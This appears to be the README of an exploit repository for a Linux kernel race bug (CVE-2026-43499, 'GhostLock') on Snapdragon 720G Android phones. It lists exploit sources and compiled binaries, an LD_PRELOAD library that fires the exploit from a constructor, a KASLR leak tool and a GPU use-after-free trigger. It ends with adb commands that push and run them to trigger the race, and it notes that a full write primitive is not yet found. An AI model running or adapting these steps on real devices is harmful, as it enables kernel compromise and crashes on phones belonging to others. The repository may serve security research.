GhostLock-SD720G-CVE-2026-43499/
├── exploit/              # Kernel-Exploit-Quellen und Binärdateien / Kernel exploit source & binaries
│   ├── sd720g_exploit.c       # Haupt-Exploit-Programm (Race-Trigger + KASLR + Logging) / Main exploit
│   ├── sd720g_exploit         # Kompilierte ARM64-Binärdatei (2.1 MB) / Compiled binary
│   ├── target_sd720g.h        # Kern-Symbol-Offsets (12 Funktionen) / Core symbol offsets
│   ├── target_sd720g_complete.h  # Vollständige 37-Symbol-Tabelle / Full symbol table
│   ├── perf_leak_sd720g.c     # KASLR-Basis-Leak-Tool / KASLR base leak
│   ├── perf_leak              # Kompilierte Binärdatei (2.1 MB) / Compiled binary
│   └── compile_perf_leak.bat  # NDK-Kompilierungsskript / NDK build script
│
├── preload/              # LD_PRELOAD Shared Library / Shared library
│   ├── sd720g_preload.c      # Konstruktor-basierter automatischer Exploit / Constructor-based exploit
│   ├── arm.so                # Kompilierte ARM64 .so (16 KB)
│   └── compile_preload.bat   # Kompilierungsskript / Build script
│
├── tools/                # Analyse- und Extraktionsskripte / Analysis & extraction scripts
│   ├── extract_kallsyms.py   # Reiner Python-kallsyms-Parser (PIE-fähig) / kallsyms parser
│   ├── extract_symbols.py    # Symbol-Offset-Extraktor / Symbol offset extractor
│   ├── find_ghostlock_bug.py # Binärsuche nach pi_blocked_on=NULL-Muster / Bug pattern search
│   ├── reanalysis.py         # 0x105aeb0 und rb_erase-Aufrufkettenverfolgung / Call chain trace
│   ├── trace_waiter.py       # rt_mutex_waiter-Feld-Schreiboperationensuche / Field write search
│   ├── analyze_pi_state.py   # pi_state-Allokations-/Freigabe-Lebenszyklusanalyse / Lifecycle analysis
│   └── kgsl_uaf_test.c       # KGSL GPU UAF-Trigger-Test / GPU UAF trigger test
│
├── docs/                 # Umfassende Analysedokumente / Analysis documents
│   ├── CVE2026-43499_SD720G_分析.md        # Vollständiger Analysebericht (Chinesisch) / Full analysis report
│   ├── GHOSTLOCK_SD720G_PORT_RECORD.md     # Portierungsaufzeichnung und Erkenntnisse / Porting record
│   ├── CVE2026-43499_SD720G_参考数据汇总.md  # Referenzdaten und Symboltabellen / Reference data
│   ├── ALTERNATIVE_STRATEGY.md             # Alternative Angriffspfade / Alternative paths
│   ├── HEAP_ANALYSIS.md                    # Heap / pi_state-Lebenszyklus / Heap lifecycle
│   ├── STACK_ANALYSIS.md                   # Stack-Wiederverwendbarkeit / Stack reclaim feasibility
│   ├── WRITE_PRIMITIVE.md                  # Schreibprimitiv-Forschung / Write primitive research
│   ├── BOOT_ANALYSIS.md                    # Boot-Image-Struktur / Boot image structure
│   └── FINAL_ANALYSIS.md                   # Endgültige Schlussfolgerungen / Final conclusions

CVE-2026-43499 Schwachstelle existiert / Vulnerability exists:         ✅ (str xzr at 0xdbf10)
Standard IonStack-Exploit-Kette / Standard exploit chain:            ❌ (Qualcomm-Code anders / Code differs)
Alternatives Schreibprimitiv / Alternative write primitive:           ⚠️ Aktuelle Analyse nicht gefunden / Not found

# Dateien pushen / Push files
adb push preload/arm.so /data/local/tmp/
adb push exploit/perf_leak /data/local/tmp/
adb shell chmod 755 /data/local/tmp/arm.so /data/local/tmp/perf_leak

# Schritt 1: KASLR-Basis leaken / Step 1: Leak KASLR base
adb shell /data/local/tmp/perf_leak

# Schritt 2: GhostLock-Race auslösen / Step 2: Trigger GhostLock race
adb shell LD_PRELOAD=/data/local/tmp/arm.so env

# Nach Absturz dmesg prüfen / After crash, check dmesg
adb shell dmesg | grep -A 30 "PC\|Call trace\|Internal error"